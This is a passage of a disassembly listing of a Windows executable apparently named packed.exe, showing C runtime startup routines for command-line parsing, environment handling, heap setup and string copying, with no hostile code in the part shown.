edi cmp dword_40782C, edi jnz short loc_401C2E call sub_402EED loc_401C2E: ; CODE XREF: sub_401C1D+Aj mov esi, dword_407834 test esi, esi jnz short loc_401C3D mov esi, offset word_405752 loc_401C3D: ; CODE XREF: sub_401C1D+19j ; sub_401C1D+4Bj mov al, [esi] cmp al, 20h ja short loc_401C4B test al, al jz short loc_401C75 test edi, edi jz short loc_401C6F loc_401C4B: ; CODE XREF: sub_401C1D+24j cmp al, 22h jnz short loc_401C58 xor ecx, ecx test edi, edi setz cl mov edi, ecx loc_401C58: ; CODE XREF: sub_401C1D+30j movzx eax, al push eax call sub_402B12 test eax, eax pop ecx jz short loc_401C67 inc esi loc_401C67: ; CODE XREF: sub_401C1D+47j inc esi jmp short loc_401C3D ; --------------------------------------------------------------------------- loc_401C6A: ; CODE XREF: sub_401C1D+56j cmp al, 20h ja short loc_401C75 inc esi loc_401C6F: ; CODE XREF: sub_401C1D+2Cj mov al, [esi] test al, al jnz short loc_401C6A loc_401C75: ; CODE XREF: sub_401C1D+28j ; sub_401C1D+4Fj pop edi mov eax, esi pop esi retn sub_401C1D endp ; =============== S U B R O U T I N E ======================================= sub_401C7A proc near ; CODE XREF: .text:loc_4013B3p push ebx xor ebx, ebx cmp dword_40782C, ebx push esi push edi jnz short loc_401C8C call sub_402EED loc_401C8C: ; CODE XREF: sub_401C7A+Bj mov esi, dword_4072A0 xor edi, edi cmp esi, ebx jnz short loc_401CAA jmp short loc_401CCA ; --------------------------------------------------------------------------- loc_401C9A: ; CODE XREF: sub_401C7A+34j cmp al, 3Dh jz short loc_401C9F inc edi loc_401C9F: ; CODE XREF: sub_401C7A+22j push esi call sub_402680 pop ecx lea esi, [esi+eax+1] loc_401CAA: ; CODE XREF: sub_401C7A+1Cj mov al, [esi] cmp al, bl jnz short loc_401C9A lea eax, ds:4[edi*4] push eax call sub_402FB5 mov edi, eax cmp edi, ebx pop ecx mov dword_4072DC, edi jnz short loc_401CCF loc_401CCA: ; CODE XREF: sub_401C7A+1Ej or eax, 0FFFFFFFFh jmp short loc_401D27 ; --------------------------------------------------------------------------- loc_401CCF: ; CODE XREF: sub_401C7A+4Ej mov esi, dword_4072A0 push ebp jmp short loc_401D02 ; --------------------------------------------------------------------------- loc_401CD8: ; CODE XREF: sub_401C7A+8Aj push esi call sub_402680 mov ebp, eax inc ebp cmp byte ptr [esi], 3Dh pop ecx jz short loc_401D00 push ebp call sub_402FB5 cmp eax, ebx pop ecx mov [edi], eax jz short loc_401D2B push esi push eax call sub_402450 pop ecx pop ecx add edi, 4 loc_401D00: ; CODE XREF: sub_401C7A+6Bj add esi, ebp loc_401D02: ; CODE XREF: sub_401C7A+5Cj cmp [esi], bl jnz short loc_401CD8 push dword_4072A0 call sub_402F0B mov dword_4072A0, ebx mov [edi], ebx mov dword_407820, 1 xor eax, eax loc_401D25: ; CODE XREF: sub_401C7A+C5j pop ecx pop ebp loc_401D27: ; CODE XREF: sub_401C7A+53j pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_401D2B: ; CODE XREF: sub_401C7A+78j push dword_4072DC call sub_402F0B mov dword_4072DC, ebx or eax, 0FFFFFFFFh jmp short loc_401D25 sub_401C7A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401D41 proc near ; CODE XREF: sub_401EAD+54p ; sub_401EAD+85p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx mov ebx, [ebp+arg_4] xor edx, edx cmp [ebp+arg_0], edx push edi mov [esi], edx mov edi, ecx mov dword ptr [ebx], 1 jz short loc_401D64 mov ecx, [ebp+arg_0] add [ebp+arg_0], 4 mov [ecx], edi loc_401D64: ; CODE XREF: sub_401D41+18j ; sub_401D41+65j ... cmp byte ptr [eax], 22h jnz short loc_401D77 xor ecx, ecx test edx, edx setz cl inc eax mov edx, ecx mov cl, 22h jmp short loc_401DA4 ; --------------------------------------------------------------------------- loc_401D77: ; CODE XREF: sub_401D41+26j inc dword ptr [esi] test edi, edi jz short loc_401D82 mov cl, [eax] mov [edi], cl inc edi loc_401D82: ; CODE XREF: sub_401D41+3Aj mov cl, [eax] movzx ebx, cl inc eax test byte_4074E1[ebx], 4 jz short loc_401D9D inc dword ptr [esi] test edi, edi jz short loc_401D9C mov bl, [eax] mov [edi], bl inc edi loc_401D9C: ; CODE XREF: sub_401D41+54j inc eax loc_401D9D: ; CODE XREF: sub_401D41+4Ej test cl, cl mov ebx, [ebp+arg_4] jz short loc_401DD6 loc_401DA4: ; CODE XREF: sub_401D41+34j test edx, edx jnz short loc_401D64 cmp cl, 20h jz short loc_401DB2 cmp cl, 9 jnz short loc_401D64 loc_401DB2: ; CODE XREF: sub_401D41+6Aj test edi, edi jz short loc_401DBA mov byte ptr [edi-1], 0 loc_401DBA: ; CODE XREF: sub_401D41+73j ; sub_401D41+96j and [ebp+var_4], 0 loc_401DBE: ; CODE XREF: sub_401D41+157j cmp byte ptr [eax], 0 jz loc_401E9D loc_401DC7: ; CODE XREF: sub_401D41+93j mov cl, [eax] cmp cl, 20h jz short loc_401DD3 cmp cl, 9 jnz short loc_401DD9 loc_401DD3: ; CODE XREF: sub_401D41+8Bj inc eax jmp short loc_401DC7 ; --------------------------------------------------------------------------- loc_401DD6: ; CODE XREF: sub_401D41+61j dec eax jmp short loc_401DBA ; --------------------------------------------------------------------------- loc_401DD9: ; CODE XREF: sub_401D41+90j cmp byte ptr [eax], 0 jz loc_401E9D cmp [ebp+arg_0], 0 jz short loc_401DF1 mov ecx, [ebp+arg_0] add [ebp+arg_0], 4 mov [ecx], edi loc_401DF1: ; CODE XREF: sub_401D41+A5j inc dword ptr [ebx] loc_401DF3: ; CODE XREF: sub_401D41+145j xor ebx, ebx inc ebx xor edx, edx jmp short loc_401DFC ; --------------------------------------------------------------------------- loc_401DFA: ; CODE XREF: sub_401D41+BEj inc eax inc edx loc_401DFC: ; CODE XREF: sub_401D41+B7j cmp byte ptr [eax], 5Ch jz short loc_401DFA cmp byte ptr [eax], 22h jnz short loc_401E2C test dl, 1 jnz short loc_401E2A cmp [ebp+var_4], 0 jz short loc_401E1D lea ecx, [eax+1] cmp byte ptr [ecx], 22h jnz short loc_401E1D mov eax, ecx jmp short loc_401E1F ; --------------------------------------------------------------------------- loc_401E1D: ; CODE XREF: sub_401D41+CEj ; sub_401D41+D6j xor ebx, ebx loc_401E1F: ; CODE XREF: sub_401D41+DAj xor ecx, ecx cmp [ebp+var_4], ecx setz cl mov [ebp+var_4], ecx loc_401E2A: ; CODE XREF: sub_401D41+C8j shr edx, 1 loc_401E2C: ; CODE XREF: sub_401D41+C3j test edx, edx jz short loc_401E3D loc_401E30: ; CODE XREF: sub_401D41+FAj test edi, edi jz short loc_401E38 mov byte ptr [edi], 5Ch inc edi loc_401E38: ; CODE XREF: sub_401D41+F1j inc dword ptr [esi] dec edx jnz short loc_401E30 loc_401E3D: ; CODE XREF: sub_401D41+EDj mov cl, [eax] test cl, cl jz short loc_401E8B cmp [ebp+var_4], 0 jnz short loc_401E53 cmp cl, 20h jz short loc_401E8B cmp cl, 9 jz short loc_401E8B loc_401E53: ; CODE XREF: sub_401D41+106j test ebx, ebx jz short loc_401E85 test edi, edi jz short loc_401E74 movzx edx, cl test byte_4074E1[edx], 4 jz short loc_401E6D mov [edi], cl inc edi inc eax inc dword ptr [esi] loc_401E6D: ; CODE XREF: sub_401D41+124j mov cl, [eax] mov [edi], cl inc edi jmp short loc_401E83 ; --------------------------------------------------------------------------- loc_401E74: ; CODE XREF: sub_401D41+118j movzx ecx, cl test byte_4074E1[ecx], 4 jz short loc_401E83 inc eax inc dword ptr [esi] loc_401E83: ; CODE XREF: sub_401D41+131j ; sub_401D41+13Dj inc dword ptr [esi] loc_401E85: ; CODE XREF: sub_401D41+114j inc eax jmp loc_401DF3 ; --------------------------------------------------------------------------- loc_401E8B: ; CODE XREF: sub_401D41+100j ; sub_401D41+10Bj ... test edi, edi jz short loc_401E93 mov byte ptr [edi], 0 inc edi loc_401E93: ; CODE XREF: sub_401D41+14Cj inc dword ptr [esi] mov ebx, [ebp+arg_4] jmp loc_401DBE ; --------------------------------------------------------------------------- loc_401E9D: ; CODE XREF: sub_401D41+80j ; sub_401D41+9Bj mov eax, [ebp+arg_0] test eax, eax jz short loc_401EA7 and dword ptr [eax], 0 loc_401EA7: ; CODE XREF: sub_401D41+161j inc dword ptr [ebx] pop edi pop ebx leave retn sub_401D41 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401EAD proc near ; CODE XREF: .text:004013A2p var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ecx push ebx push esi push edi xor edi, edi cmp dword_40782C, edi jnz short loc_401EC4 call sub_402EED loc_401EC4: ; CODE XREF: sub_401EAD+10j push 104h mov esi, offset aCM_unpackerPac ; "C:\\m_unpacker\\packed.exe" push esi push edi mov byte_40740C, 0 call ds:dword_40503C ; GetModuleFileNameA mov eax, dword_407834 cmp eax, edi mov off_4072EC, esi jz short loc_401EF3 cmp byte ptr [eax], 0 mov ebx, eax jnz short loc_401EF5 loc_401EF3: ; CODE XREF: sub_401EAD+3Dj mov ebx, esi loc_401EF5: ; CODE XREF: sub_401EAD+44j lea eax, [ebp+var_4] push eax push edi lea esi, [ebp+var_8] xor ecx, ecx mov eax, ebx call sub_401D41 mov esi, [ebp+var_4] mov eax, [ebp+var_8] shl esi, 2 add eax, esi push eax call sub_402FB5 mov edi, eax add esp, 0Ch test edi, edi jnz short loc_401F25 or eax, 0FFFFFFFFh jmp short loc_401F4A ; --------------------------------------------------------------------------- loc_401F25: ; CODE XREF: sub_401EAD+71j lea eax, [ebp+var_4] push eax lea ecx, [esi+edi] push edi lea esi, [ebp+var_8] mov eax, ebx call sub_401D41 mov eax, [ebp+var_4] dec eax pop ecx mov dword_4072D0, eax pop ecx mov dword_4072D4, edi xor eax, eax loc_401F4A: ; CODE XREF: sub_401EAD+76j pop edi pop esi pop ebx leave retn sub_401EAD endp ; =============== S U B R O U T I N E ======================================= sub_401F4F proc near ; CODE XREF: .text:00401398p var_8 = dword ptr -8 var_4 = dword ptr -4 push ecx push ecx mov eax, dword_407410 push ebx push ebp push esi push edi mov edi, ds:dword_405094 xor ebx, ebx xor esi, esi cmp eax, ebx push 2 pop ebp jnz short loc_401F98 call edi ; GetEnvironmentStringsW mov esi, eax cmp esi, ebx jz short loc_401F7F mov dword_407410, 1 jmp short loc_401F9D ; --------------------------------------------------------------------------- loc_401F7F: ; CODE XREF: sub_401F4F+22j call ds:dword_405090 ; RtlGetLastWin32Error cmp eax, 78h jnz short loc_401F93 mov eax, ebp mov dword_407410, eax jmp short loc_401F98 ; --------------------------------------------------------------------------- loc_401F93: ; CODE XREF: sub_401F4F+39j mov eax, dword_407410 loc_401F98: ; CODE XREF: sub_401F4F+1Aj ; sub_401F4F+42j cmp eax, 1 jnz short loc_40201A loc_401F9D: ; CODE XREF: sub_401F4F+2Ej cmp esi, ebx jnz short loc_401FA9 call edi ; GetEnvironmentStringsW mov esi, eax cmp esi, ebx jz short loc_402022 loc_401FA9: ; CODE XREF: sub_401F4F+50j cmp [esi], bx mov eax, esi jz short loc_401FBE loc_401FB0: ; CODE XREF: sub_401F4F+66j ; sub_401F4F+6Dj add eax, ebp cmp [eax], bx jnz short loc_401FB0 add eax, ebp cmp [eax], bx jnz short loc_401FB0 loc_401FBE: ; CODE XREF: sub_401F4F+5Fj mov edi, ds:dword_40508C push ebx push ebx push ebx sub eax, esi push ebx sar eax, 1 inc eax push eax push esi push ebx push ebx mov [esp+38h+var_4], eax call edi ; WideCharToMultiByte mov ebp, eax cmp ebp, ebx jz short loc_40200F push ebp call sub_402FB5 cmp eax, ebx pop ecx mov [esp+18h+var_8], eax jz short loc_40200F push ebx push ebx push ebp push eax push [esp+28h+var_4] push esi push ebx push ebx call edi ; WideCharToMultiByte test eax, eax jnz short loc_40200B push [esp+18h+var_8] call sub_402F0B pop ecx mov [esp+18h+var_8], ebx loc_40200B: ; CODE XREF: sub_401F4F+ACj mov ebx, [esp+18h+var_8] loc_40200F: ; CODE XREF: sub_401F4F+8Cj ; sub_401F4F+9Bj push esi call ds:dword_405088 ; FreeEnvironmentStringsW mov eax, ebx jmp short loc_40206A ; --------------------------------------------------------------------------- loc_40201A: ; CODE XREF: sub_401F4F+4Cj cmp eax, ebp jz short loc_402026 cmp eax, ebx jz short loc_402026 loc_402022: ; CODE XREF: sub_401F4F+58j ; sub_401F4F+E1j xor eax, eax jmp short loc_40206A ; --------------------------------------------------------------------------- loc_402026: ; CODE XREF: sub_401F4F+CDj ; sub_401F4F+D1j call ds:dword_405084 ; GetEnvironmentStrings mov esi, eax cmp esi, ebx jz short loc_402022 cmp [esi], bl jz short loc_402040 loc_402036: ; CODE XREF: sub_401F4F+EAj ; sub_401F4F+EFj inc eax cmp [eax], bl jnz short loc_402036 inc eax cmp [eax], bl jnz short loc_402036 loc_402040: ; CODE XREF: sub_401F4F+E5j sub eax, esi inc eax mov ebp, eax push ebp call sub_402FB5 mov edi, eax cmp edi, ebx pop ecx jnz short loc_402056 xor edi, edi jmp short loc_402061 ; --------------------------------------------------------------------------- loc_402056: ; CODE XREF: sub_401F4F+101j push ebp push esi push edi call sub_402FD0 add esp, 0Ch loc_402061: ; CODE XREF: sub_401F4F+105j push esi call ds:dword_405080 ; FreeEnvironmentStringsA mov eax, edi loc_40206A: ; CODE XREF: sub_401F4F+C9j ; sub_401F4F+D5j pop edi pop esi pop ebp pop ebx pop ecx pop ecx retn sub_401F4F endp ; =============== S U B R O U T I N E ======================================= sub_402071 proc near ; CODE XREF: .text:0040137Cp var_44 = byte ptr -44h var_E = word ptr -0Eh var_C = dword ptr -0Ch sub esp, 44h push 100h call sub_402FB5 test eax, eax pop ecx jnz short loc_40208B or eax, 0FFFFFFFFh jmp loc_402218 ; --------------------------------------------------------------------------- loc_40208B: ; CODE XREF: sub_402071+10j mov dword_407720, eax mov dword_407708, 20h lea ecx, [eax+100h] jmp short loc_4020BC ; --------------------------------------------------------------------------- loc_4020A2: ; CODE XREF: sub_402071+4Dj or dword ptr [eax], 0FFFFFFFFh mov byte ptr [eax+4], 0 mov byte ptr [eax+5], 0Ah mov ecx, dword_407720 add eax, 8 add ecx, 100h loc_4020BC: ; CODE XREF: sub_402071+2Fj cmp eax, ecx jb short loc_4020A2 push ebx push esi push edi lea eax, [esp+50h+var_44] push eax call ds:dword_405050 ; GetStartupInfoA cmp [esp+4Ch+var_E], 0 jz loc_4021A1 mov eax, [esp+4Ch+var_C] test eax, eax jz loc_4021A1 mov esi, [eax] push ebp lea ebp, [eax+4] mov eax, 800h cmp esi, eax lea ebx, [esi+ebp] jl short loc_4020FA mov esi, eax loc_4020FA: ; CODE XREF: sub_402071+85j cmp dword_407708, esi jge short loc_402154 mov edi, offset dword_407724 loc_402107: ; CODE XREF: sub_402071+D9j push 100h call sub_402FB5 test eax, eax pop ecx jz short loc_40214E add dword_407708, 20h mov [edi], eax lea ecx, [eax+100h] jmp short loc_40213D ; --------------------------------------------------------------------------- loc_402127: ; CODE XREF: sub_402071+CEj or dword ptr [eax], 0FFFFFFFFh mov byte ptr [eax+4], 0 mov byte ptr [eax+5], 0Ah mov ecx, [edi] add eax, 8 add ecx, 100h loc_40213D: ; CODE XREF: sub_402071+B4j cmp eax, ecx jb short loc_402127 add edi, 4 cmp dword_407708, esi jl short loc_402107 jmp short loc_402154 ; --------------------------------------------------------------------------- loc_40214E: ; CODE XREF: sub_402071+A3j mov esi, dword_407708 loc_402154: ; CODE XREF: sub_402071+8Fj ; sub_402071+DBj xor edi, edi test esi, esi jle short loc_4021A0 loc_40215A: ; CODE XREF: sub_402071+12Dj mov eax, [ebx] cmp eax, 0FFFFFFFFh jz short loc_402197 mov cl, [ebp+0] test cl, 1 jz short loc_402197 test cl, 8 jnz short loc_402179 push eax call ds:dword_40509C ; GetFileType test eax, eax jz short loc_402197 loc_402179: ; CODE XREF: sub_402071+FBj mov eax, edi sar eax, 5 mov eax, dword_407720[eax*4] mov ecx, edi and ecx, 1Fh lea eax, [eax+ecx*8] mov ecx, [ebx] mov [eax], ecx mov cl, [ebp+0] mov [eax+4], cl loc_402197: ; CODE XREF: sub_402071+EEj ; sub_402071+F6j ... inc edi inc ebp add ebx, 4 cmp edi, esi jl short loc_40215A loc_4021A0: ; CODE XREF: sub_402071+E7j pop ebp loc_4021A1: ; CODE XREF: sub_402071+63j ; sub_402071+6Fj xor ebx, ebx loc_4021A3: ; CODE XREF: sub_402071+194j mov eax, dword_407720 lea esi, [eax+ebx*8] cmp dword ptr [esi], 0FFFFFFFFh jnz short loc_4021FD test ebx, ebx mov byte ptr [esi+4], 81h jnz short loc_4021BD push 0FFFFFFF6h pop eax jmp short loc_4021C7 ; --------------------------------------------------------------------------- loc_4021BD: ; CODE XREF: sub_402071+145j mov eax, ebx dec eax neg eax sbb eax, eax add eax, 0FFFFFFF5h loc_4021C7: ; CODE XREF: sub_402071+14Aj push eax call ds:dword_405078 ; GetStdHandle mov edi, eax cmp edi, 0FFFFFFFFh jz short loc_4021EC push edi call ds:dword_40509C ; GetFileType test eax, eax jz short loc_4021EC and eax, 0FFh cmp eax, 2 mov [esi], edi jnz short loc_4021F2 loc_4021EC: ; CODE XREF: sub_402071+162j ; sub_402071+16Dj or byte ptr [esi+4], 40h jmp short loc_402201 ; --------------------------------------------------------------------------- loc_4021F2: ; CODE XREF: sub_402071+179j cmp eax, 3 jnz short loc_402201 or byte ptr [esi+4], 8 jmp short loc_402201 ; --------------------------------------------------------------------------- loc_4021FD: ; CODE XREF: sub_402071+13Dj or byte ptr [esi+4], 80h loc_402201: ; CODE XREF: sub_402071+17Fj ; sub_402071+184j ... inc ebx cmp ebx, 3 jl short loc_4021A3 push dword_407708 call ds:dword_405098 ; LockResource pop edi pop esi xor eax, eax pop ebx loc_402218: ; CODE XREF: sub_402071+15j add esp, 44h retn sub_402071 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40221C proc near ; CODE XREF: .text:loc_401374p var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h push 0Ch push offset stru_405758 call __SEH_prolog mov [ebp+var_1C], offset dword_405DEC loc_40222F: ; CODE XREF: sub_40221C+3Cj cmp [ebp+var_1C], offset dword_405DEC jnb short loc_40225A and [ebp+ms_exc.disabled], 0 mov eax, [ebp+var_1C] mov eax, [eax] test eax, eax jz short loc_402250 call eax jmp short loc_402250 ; --------------------------------------------------------------------------- loc_402249: ; DATA XREF: .rdata:stru_405758o xor eax, eax inc eax retn ; --------------------------------------------------------------------------- loc_40224D: ; DATA XREF: .rdata:stru_405758o mov esp, [ebp+ms_exc.old_esp] loc_402250: ; CODE XREF: sub_40221C+27j ; sub_40221C+2Bj or [ebp+ms_exc.disabled], 0FFFFFFFFh add [ebp+var_1C], 4 jmp short loc_40222F ; --------------------------------------------------------------------------- loc_40225A: ; CODE XREF: sub_40221C+1Aj call __SEH_epilog retn sub_40221C endp ; --------------------------------------------------------------------------- loc_402260: ; DATA XREF: sub_401761:loc_4017CCo push 0Ch push offset stru_405768 call __SEH_prolog mov dword ptr [ebp-1Ch], offset dword_405DF4 ; START OF FUNCTION CHUNK FOR sub_402291 loc_402273: ; CODE XREF: sub_402291+Bj cmp dword ptr [ebp-1Ch], offset dword_405DF4 jnb short loc_40229E and dword ptr [ebp-4], 0 mov eax, [ebp-1Ch] mov eax, [eax] test eax, eax jz short loc_402294 call eax jmp short loc_402294 ; END OF FUNCTION CHUNK FOR sub_402291 ; =============== S U B R O U T I N E ======================================= sub_40228D proc near ; DATA XREF: .rdata:stru_405768o xor eax, eax inc eax retn sub_40228D endp ; =============== S U B R O U T I N E ======================================= sub_402291 proc near ; DATA XREF: .rdata:stru_405768o ; FUNCTION CHUNK AT 00402273 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 0040229E SIZE 00000006 BYTES mov esp, [ebp-18h] loc_402294: ; CODE XREF: sub_402291-Aj ; sub_402291-6j or dword ptr [ebp-4], 0FFFFFFFFh add dword ptr [ebp-1Ch], 4 jmp short loc_402273 sub_402291 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_402291 loc_40229E: ; CODE XREF: sub_402291-17j call __SEH_epilog retn ; END OF FUNCTION CHUNK FOR sub_402291 ; =============== S U B R O U T I N E ======================================= sub_4022A4 proc near ; CODE XREF: sub_4022BE+20p cmp dword_4072BC, 2 jnz short loc_4022BA cmp dword_4072C8, 5 jb short loc_4022BA xor eax, eax inc eax retn ; --------------------------------------------------------------------------- loc_4022BA: ; CODE XREF: sub_4022A4+7j ; sub_4022A4+10j push 3 pop eax retn sub_4022A4 endp ; =============== S U B R O U T I N E ======================================= sub_4022BE proc near ; CODE XREF: .text:00401349p arg_0 = dword ptr 4 xor eax, eax cmp [esp+arg_0], eax push 0 setz al push 1000h push eax call ds:dword_4050A4 ; HeapCreate test eax, eax mov dword_407700, eax jz short loc_402308 call sub_4022A4 cmp eax, 3 mov dword_407704, eax jnz short loc_40230B push 3F8h call sub_40330D test eax, eax pop ecx jnz short loc_40230B push dword_407700 call ds:dword_4050A0 ; HeapDestroy loc_402308: ; CODE XREF: sub_4022BE+1Ej xor eax, eax retn ; --------------------------------------------------------------------------- loc_40230B: ; CODE XREF: sub_4022BE+2Dj ; sub_4022BE+3Cj xor eax, eax inc eax retn sub_4022BE endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_402310 proc near ; CODE XREF: .text:00401294p ; .text:004015AEp ... arg_0 = byte ptr 4 cmp eax, 1000h jnb short loc_402325 neg eax add eax, esp add eax, 4 test [eax], eax xchg eax, esp mov eax, [eax] push eax retn ; --------------------------------------------------------------------------- loc_402325: ; CODE XREF: sub_402310+5j push ecx lea ecx, [esp+4+arg_0] loc_40232A: ; CODE XREF: sub_402310+2Cj sub ecx, 1000h sub eax, 1000h test [ecx], eax cmp eax, 1000h jnb short loc_40232A sub ecx, eax mov eax, esp test [ecx], eax mov esp, ecx mov ecx, [eax] mov eax, [eax+4] push eax retn sub_402310 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40234D proc near ; CODE XREF: .text:004015FBp ; sub_4018FC+129p var_10 = byte ptr -10h var_8 = byte ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_A = byte ptr 12h push ebp mov ebp, esp sub esp, 10h push ebx xor ebx, ebx cmp dword_407414, ebx push esi push edi jnz short loc_4023CD push offset aUser32_dll ; "user32.dll" call ds:dword_40502C ; LoadLibraryA mov edi, eax cmp edi, ebx jz loc_402408 mov esi, ds:dword_405028 push offset aMessageboxa ; "MessageBoxA" push edi call esi ; GetProcAddress test eax, eax mov dword_407414, eax jz short loc_402408 push offset aGetactivewindo ; "GetActiveWindow" push edi call esi ; GetProcAddress push offset aGetlastactivep ; "GetLastActivePopup" push edi mov dword_407418, eax call esi ; GetProcAddress cmp dword_4072BC, 2 mov dword_40741C, eax jnz short loc_4023CD push offset aGetuserobjecti ; "GetUserObjectInformationA" push edi call esi ; GetProcAddress test eax, eax mov dword_407424, eax jz short loc_4023CD push offset aGetprocesswind ; "GetProcessWindowStation" push edi call esi ; GetProcAddress mov dword_407420, eax loc_4023CD: ; CODE XREF: sub_40234D+11j ; sub_40234D+60j ... mov eax, dword_407420 test eax, eax jz short loc_402412 call eax test eax, eax jz short loc_4023F9 lea ecx, [ebp+var_4] push ecx push 0Ch lea ecx, [ebp+var_10] push ecx push 1 push eax call dword_407424 test eax, eax jz short loc_4023F9 test [ebp+var_8], 1 jnz short loc_402412 loc_4023F9: ; CODE XREF: sub_40234D+8Dj ; sub_40234D+A4j cmp dword_4072C8, 4 jb short loc_40240C or [ebp+arg_A], 20h jmp short loc_402431 ; --------------------------------------------------------------------------- loc_402408: ; CODE XREF: sub_40234D+22j ; sub_40234D+3Dj xor eax, eax jmp short loc_402441 ; --------------------------------------------------------------------------- loc_40240C: ; CODE XREF: sub_40234D+B3j or [ebp+arg_A], 4 jmp short loc_402431 ; --------------------------------------------------------------------------- loc_402412: ; CODE XREF: sub_40234D+87j ; sub_40234D+AAj mov eax, dword_407418 test eax, eax jz short loc_402431 call eax mov ebx, eax test ebx, ebx jz short loc_402431 mov eax, dword_40741C test eax, eax jz short loc_402431 push ebx call eax mov ebx, eax loc_402431: ; CODE XREF: sub_40234D+B9j ; sub_40234D+C3j ... push dword ptr [ebp+10h] push [ebp+arg_4] push [ebp+arg_0] push ebx call dword_407414 loc_402441: ; CODE XREF: sub_40234D+BDj pop edi pop esi pop ebx leave retn sub_40234D endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_402450 proc near ; CODE XREF: .text:0040155Ap ; .text:004015BAp ... arg_0 = dword ptr 4 push edi mov edi, [esp+4+arg_0] jmp short loc_4024C5 sub_402450 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_402460 proc near ; CODE XREF: .text:004015C6p ; .text:004015D1p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_0] push edi test ecx, 3 jz short loc_402480 loc_40246D: ; CODE XREF: sub_402460+1Cj mov al, [ecx] add ecx, 1 test al, al jz short loc_4024B3 test ecx, 3 jnz short loc_40246D mov edi, edi loc_402480: ; CODE XREF: sub_402460+Bj ; sub_402460+36j ... mov eax, [ecx] mov edx, 7EFEFEFFh add edx, eax xor eax, 0FFFFFFFFh xor eax, edx add ecx, 4 test eax, 81010100h jz short loc_402480 mov eax, [ecx-4] test al, al jz short loc_4024C2 test ah, ah jz short loc_4024BD test eax, 0FF0000h jz short loc_4024B8 test eax, 0FF000000h jz short loc_4024B3 jmp short loc_402480 ; --------------------------------------------------------------------------- loc_4024B3: ; CODE XREF: sub_402460+14j ; sub_402460+4Fj lea edi, [ecx-1] jmp short loc_4024C5 ; --------------------------------------------------------------------------- loc_4024B8: ; CODE XREF: sub_402460+48j lea edi, [ecx-2] jmp short loc_4024C5 ; --------------------------------------------------------------------------- loc_4024BD: ; CODE XREF: sub_402460+41j lea edi, [ecx-3] jmp short loc_4024C5 ; --------------------------------------------------------------------------- loc_4024C2: ; CODE XREF: sub_402460+3Dj lea edi, [ecx-4] loc_4024C5: ; CODE XREF: sub_402450+5j ; sub_402460+56j ... mov ecx, [esp+4+arg_4] test ecx, 3 jz short loc_4024EE loc_4024D1: ; CODE XREF: sub_402460+85j mov dl, [ecx] add ecx, 1 test dl, dl jz short loc_402540 mov [edi], dl add edi, 1 test ecx, 3 jnz short loc_4024D1 jmp short loc_4024EE ; --------------------------------------------------------------------------- loc_4024E9: ; CODE XREF: sub_402460+A6j ; sub_402460+C0j mov [edi], edx add edi, 4 loc_4024EE: ; CODE XREF: sub_402460+6Fj ; sub_402460+87j mov edx, 7EFEFEFFh mov eax, [ecx] add edx, eax xor eax, 0FFFFFFFFh xor eax, edx mov edx, [ecx] add ecx, 4 test eax, 81010100h jz short loc_4024E9 test dl, dl jz short loc_402540 test dh, dh jz short loc_402537 test edx, 0FF0000h jz short loc_40252A test edx, 0FF000000h jz short loc_402522 jmp short loc_4024E9 ; --------------------------------------------------------------------------- loc_402522: ; CODE XREF: sub_402460+BEj mov [edi], edx mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_40252A: ; CODE XREF: sub_402460+B6j mov [edi], dx mov eax, [esp+4+arg_0] mov byte ptr [edi+2], 0 pop edi retn ; --------------------------------------------------------------------------- loc_402537: ; CODE XREF: sub_402460+AEj mov [edi], dx mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_402540: ; CODE XREF: sub_402460+78j ; sub_402460+AAj mov [edi], dl mov eax, [esp+4+arg_0] pop edi retn sub_402460 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_402550 proc near ; CODE XREF: .text:00401595p ; sub_4018FC+C7p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov ecx, [esp+arg_8] push edi test ecx, ecx jz loc_4025EF push esi push ebx mov ebx, ecx mov esi, [esp+0Ch+arg_4] test esi, 3 mov edi, [esp+0Ch+arg_0] jnz short loc_40257C shr ecx, 2 jnz loc_4025FF jmp short loc_4025A3 ; --------------------------------------------------------------------------- loc_40257C: ; CODE XREF: sub_402550+1Fj ; sub_402550+45j mov al, [esi] add esi, 1 mov [edi], al add edi, 1 sub ecx, 1 jz short loc_4025B6 test al, al jz short loc_4025BE test esi, 3 jnz short loc_40257C mov ebx, ecx shr ecx, 2 jnz short loc_4025FF loc_40259E: ; CODE XREF: sub_402550+ADj and ebx, 3 jz short loc_4025B6 loc_4025A3: ; CODE XREF: sub_402550+2Aj ; sub_402550+64j mov al, [esi] add esi, 1 mov [edi], al add edi, 1 test al, al jz short loc_4025E8 sub ebx, 1 jnz short loc_4025A3 loc_4025B6: ; CODE XREF: sub_402550+39j ; sub_402550+51j mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_4025BE: ; CODE XREF: sub_402550+3Dj test edi, 3 jz short loc_4025DC loc_4025C6: ; CODE XREF: sub_402550+8Aj mov [edi], al add edi, 1 sub ecx, 1 jz loc_40266C test edi, 3 jnz short loc_4025C6 loc_4025DC: ; CODE XREF: sub_402550+74j mov ebx, ecx shr ecx, 2 jnz short loc_402657 loc_4025E3: ; CODE XREF: sub_402550+9Bj ; sub_402550+116j mov [edi], al add edi, 1 loc_4025E8: ; CODE XREF: 